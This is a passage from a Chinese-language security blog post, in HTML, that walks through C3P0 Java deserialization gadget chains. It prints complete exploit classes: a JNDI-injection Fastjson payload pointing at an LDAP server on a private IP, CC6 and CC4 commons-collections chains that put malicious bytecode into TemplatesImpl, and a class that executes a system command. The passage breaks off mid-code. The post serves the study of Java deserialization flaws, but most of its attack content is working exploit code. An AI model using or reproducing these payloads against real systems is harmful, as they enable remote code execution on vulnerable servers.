class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">C3P0</span> <span class="variable">exp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">C3P0</span>();</span><br><span class="line"> <span class="type">byte</span>[] bytes = serialize(exp);</span><br><span class="line"> unserialize(bytes);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>calc</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Calc</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">Calc</span><span class="params">()</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"calc"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221501061.png" alt="在这里插入图片描述"></p><p>本白一开始的傻帽操作,把文件放包下了,一直不能弹计算器,郁闷 (真傻</p><h2 id="jndi注入"><a class="markdownIt-Anchor" href="#jndi注入">#</a> JNDI 注入</h2><p><code>JndiRefForwardingDataSource</code> 的 <code>dereference()</code> 方法中有 look,并且 <code>jndiName</code> 通过 <code>getJndiName()</code> 获取,可造成 JNDI 注入<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221501031.png" alt="在这里插入图片描述"><br>先看下 <code>getJnDIName</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">getJndiName</span><span class="params">()</span></span><br><span class="line">{ <span class="keyword">return</span> (jndiName <span class="keyword">instanceof</span> Name ? ((Name) jndiName).clone() : jndiName <span class="comment">/* String */</span>); }</span><br></pre></td></tr></table></figure><p>判断是否是 name 类型,不是则返回 String 类型</p><p>继续向上找可以利用的点<br> <code>inner()</code> <br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221501728.png" alt="在这里插入图片描述"></p><p>找到 <code>setLoginRimeout</code> , 形参为 <code>int</code> 型<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221501244.png" alt="在这里插入图片描述"></p><p>下面就是 <code>WrapperConnectionPoolDataSource</code> 和 <code>JndiRefConnectionPoolDataSource</code> 的同名函数<br>在 <code>JndiRefConnectionPoolDataSource</code> , <code>setLoginTimeout</code> ,因为 <code>wcpds</code> 是 <code>WrapperConnectionPoolDataSource</code> 类下的,所以这里会调用 <code>WrapperConnectionPoolDataSource</code> 下的同名方法<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221502080.png" alt="在这里插入图片描述"><br>这里会调用 <code>getNestedDataSource()</code> 对象<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221502045.png" alt="在这里插入图片描述"><br>跟进后发现其实就是 <code>JndiRefForwardingDataSource</code> <br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221502115.png" alt="在这里插入图片描述"><br>在下一步就知道到这里<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221502232.png" alt="在这里插入图片描述"></p><p>后面就会去加载我们传入的 <code>jndiName</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221502088.png" alt="在这里插入图片描述"></p><h3 id="gadget-2"><a class="markdownIt-Anchor" href="#gadget-2">#</a> Gadget</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">JndiRefConnectionPoolDataSource#setLoginTime -></span><br><span class="line">WrapperConnectionPoolDataSource#setLoginTime -></span><br><span class="line">JndiRefForwardingDataSource#setLoginTimeout -></span><br><span class="line">JndiRefForwardingDataSource#inner -></span><br><span class="line">JndiRefForwardingDataSource#dereference() -></span><br><span class="line">Context#lookup</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221502081.png" alt="在这里插入图片描述"></p><h3 id="exp-2"><a class="markdownIt-Anchor" href="#exp-2">#</a> EXP</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JNDI</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">"{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\","</span> +</span><br><span class="line"> <span class="string">"\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}"</span>;</span><br><span class="line"> JSON.parse(payload);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="hex序列化"><a class="markdownIt-Anchor" href="#hex序列化">#</a> HEX 序列化</h2><p>在 <code>WrapperConnectionPoolDataSource</code> 的构造方法下</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221503151.png" alt="在这里插入图片描述"><br>调用了 <code>C3P0ImplUtils.parseUserOverridesAsString</code></p><p>跟进</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Map <span class="title function_">parseUserOverridesAsString</span><span class="params">( String userOverridesAsString )</span> <span class="keyword">throws</span> IOException, ClassNotFoundException</span><br><span class="line"> { </span><br><span class="line"><span class="keyword">if</span> (userOverridesAsString != <span class="literal">null</span>)</span><br><span class="line"> {</span><br><span class="line"><span class="type">String</span> <span class="variable">hexAscii</span> <span class="operator">=</span> userOverridesAsString.substring(HASM_HEADER.length() + <span class="number">1</span>, userOverridesAsString.length() - <span class="number">1</span>);</span><br><span class="line"><span class="type">byte</span>[] serBytes = ByteUtils.fromHexAscii( hexAscii );</span><br><span class="line"><span class="keyword">return</span> Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );</span><br><span class="line"> }</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"> <span class="keyword">return</span> Collections.EMPTY_MAP;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>当 <code>userOverridesAsString</code> 不为空进入 if<br> 首先会用 <code>substring</code> 对 <code>userOverridesAsString</code> 进行截取,将 <code>HASM_HEADER</code> 头和最后一位的;扣掉<br>而 <code>userOverridesAsString</code> 是一个私有的常量</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">HASM_HEADER</span> <span class="operator">=</span> <span class="string">"HexAsciiSerializedMap"</span>;</span><br></pre></td></tr></table></figure><p>将十六进制转成字节数组,最后再强转为 <code>map</code> 对象</p><p>跟进 `fromByteArray</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">fromByteArray</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException</span><br><span class="line"> { </span><br><span class="line"><span class="type">Object</span> <span class="variable">out</span> <span class="operator">=</span> deserializeFromByteArray( bytes ); </span><br><span class="line"><span class="keyword">if</span> (out <span class="keyword">instanceof</span> IndirectlySerialized)</span><br><span class="line"> <span class="keyword">return</span> ((IndirectlySerialized) out).getObject();</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"> <span class="keyword">return</span> out;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>最后到</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">deserializeFromByteArray</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException</span><br><span class="line"> {</span><br><span class="line"><span class="type">ObjectInputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bytes));</span><br><span class="line"><span class="keyword">return</span> in.readObject();</span><br><span class="line"> }</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>进行反序列化</p><h3 id="gadget-3"><a class="markdownIt-Anchor" href="#gadget-3">#</a> Gadget</h3><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221503290.png" alt="在这里插入图片描述"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource-></span><br><span class="line">C3P0ImplUtils#parseUserOverridesAsString-></span><br><span class="line">SerializableUtils#fromByteArray-></span><br><span class="line">SerializableUtils#deserializeFromByteArray-></span><br><span class="line">SerializableUtils</span><br></pre></td></tr></table></figure><h3 id="exp-3"><a class="markdownIt-Anchor" href="#exp-3">#</a> EXP</h3><p>这里用 CC4 和 CC6 举例</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.beans.PropertyVetoException;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.StringWriter;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">C3P0Hex_CC6</span> {</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> Map <span class="title function_">exp</span><span class="params">()</span> <span class="keyword">throws</span> NoSuchFieldException, IllegalAccessException, ClassNotFoundException {</span><br><span class="line"></span><br><span class="line"> Transformer[] transformers=<span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Class.forName(<span class="string">"java.lang.Runtime"</span>)),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class,Class[].class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>,<span class="literal">null</span>}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class,Object[].class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>,<span class="literal">null</span>}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>})</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> ChainedTransformer chainedTransformer=<span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"></span><br><span class="line"> HashMap<Object,Object> hashMap1=<span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line"> LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,<span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">1</span>));</span><br><span class="line"></span><br><span class="line"> TiedMapEntry tiedMapEntry=<span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(lazyMap,<span class="string">"Atkx"</span>);</span><br><span class="line"> HashMap<Object,Object> hashMap2=<span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line"> hashMap2.put(tiedMapEntry,<span class="string">"bbb"</span>);</span><br><span class="line"> lazyMap.remove(<span class="string">"Atkx"</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> Class clazz=LazyMap.class;</span><br><span class="line"> Field factoryField= clazz.getDeclaredField(<span class="string">"factory"</span>);</span><br><span class="line"> factoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> factoryField.set(lazyMap,chainedTransformer);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> hashMap2;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">addHexAscii</span><span class="params">(<span class="type">byte</span> b, StringWriter sw)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">int</span> <span class="variable">ub</span> <span class="operator">=</span> b & <span class="number">0xff</span>;</span><br><span class="line"> <span class="type">int</span> <span class="variable">h1</span> <span class="operator">=</span> ub / <span class="number">16</span>;</span><br><span class="line"> <span class="type">int</span> <span class="variable">h2</span> <span class="operator">=</span> ub % <span class="number">16</span>;</span><br><span class="line"> sw.write(toHexDigit(h1));</span><br><span class="line"> sw.write(toHexDigit(h2));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">char</span> <span class="title function_">toHexDigit</span><span class="params">(<span class="type">int</span> h)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">char</span> out;</span><br><span class="line"> <span class="keyword">if</span> (h <= <span class="number">9</span>) out = (<span class="type">char</span>) (h + <span class="number">0x30</span>);</span><br><span class="line"> <span class="keyword">else</span> out = (<span class="type">char</span>) (h + <span class="number">0x37</span>);</span><br><span class="line"> <span class="comment">//System.err.println(h + ": " + out);</span></span><br><span class="line"> <span class="keyword">return</span> out;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//将类序列化为字节数组</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] tobyteArray(Object o) <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">ByteArrayOutputStream</span> <span class="variable">bao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(bao);</span><br><span class="line"> oos.writeObject(o);</span><br><span class="line"> <span class="keyword">return</span> bao.toByteArray();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//字节数组转十六进制</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">toHexAscii</span><span class="params">(<span class="type">byte</span>[] bytes)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> bytes.length;</span><br><span class="line"> <span class="type">StringWriter</span> <span class="variable">sw</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringWriter</span>(len * <span class="number">2</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < len; ++i)</span><br><span class="line"> addHexAscii(bytes[i], sw);</span><br><span class="line"> <span class="keyword">return</span> sw.toString();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {</span><br><span class="line"> <span class="type">String</span> <span class="variable">hex</span> <span class="operator">=</span> toHexAscii(tobyteArray(exp()));</span><br><span class="line"> System.out.println(hex);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Fastjson<1.2.47</span></span><br><span class="line"><span class="comment">// String payload = "{" +</span></span><br><span class="line"><span class="comment">// "\"1\":{" +</span></span><br><span class="line"><span class="comment">// "\"@type\":\"java.lang.Class\"," +</span></span><br><span class="line"><span class="comment">// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +</span></span><br><span class="line"><span class="comment">// "}," +</span></span><br><span class="line"><span class="comment">// "\"2\":{" +</span></span><br><span class="line"><span class="comment">// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +</span></span><br><span class="line"><span class="comment">// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +</span></span><br><span class="line"><span class="comment">// "}" +</span></span><br><span class="line"><span class="comment">// "}";</span></span><br><span class="line"> <span class="comment">//低版本利用</span></span><br><span class="line"> <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">"{"</span> +</span><br><span class="line"> <span class="string">"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\","</span> +</span><br><span class="line"> <span class="string">"\"userOverridesAsString\":\"HexAsciiSerializedMap:"</span>+ hex + <span class="string">";\","</span> +</span><br><span class="line"> <span class="string">"}"</span>;</span><br><span class="line"> JSON.parse(payload);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.StringWriter;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InstantiateTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">C3P0Hex_CC4</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> PriorityQueue <span class="title function_">CC4</span><span class="params">()</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line"> <span class="type">Class</span> <span class="variable">templatesclass</span> <span class="operator">=</span> templates.getClass();</span><br><span class="line"> <span class="comment">//name字段</span></span><br><span class="line"> <span class="type">Field</span> <span class="variable">nameField</span> <span class="operator">=</span> templatesclass.getDeclaredField(<span class="string">"_name"</span>);</span><br><span class="line"> nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> nameField.set(templates,<span class="string">"Atkx"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//恶意bytecode字段</span></span><br><span class="line"> <span class="type">Field</span> <span class="variable">bytecodeFiled</span> <span class="operator">=</span> templatesclass.getDeclaredField(<span class="string">"_bytecodes"</span>);</span><br><span class="line"> bytecodeFiled.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="string">"H://Code/JavaSecurityCode/cc3/target/classes/calc.class"</span>));</span><br><span class="line"> <span class="type">byte</span>[][] codes = {code};</span><br><span class="line"> bytecodeFiled.set(templates,codes);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">//工厂类字段</span></span><br><span class="line"> <span class="type">Field</span> <span class="variable">tfactoryField</span> <span class="operator">=</span> templatesclass.getDeclaredField(<span class="string">"_tfactory"</span>);</span><br><span class="line"> tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> tfactoryField.set(templates, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>() {</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> <span class="comment">//调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer</span></span><br><span class="line"> <span class="type">InstantiateTransformer</span> <span class="variable">instantiateTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{ Templates.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{templates});</span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line"> instantiateTransformer</span><br><span class="line"> };</span><br><span class="line"> <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span><>(transformers);</span><br><span class="line"> <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span><>(chainedTransformer);</span><br><span class="line"> <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(transformingComparator);</span><br><span class="line"></span><br><span class="line"> priorityQueue.add(<span class="number">1</span>);</span><br><span class="line"> priorityQueue.add(<span class="number">2</span>);</span><br><span class="line"> <span class="keyword">return</span> priorityQueue;</span><br><span class="line"></span><br><span class="line"> }</span><br><span 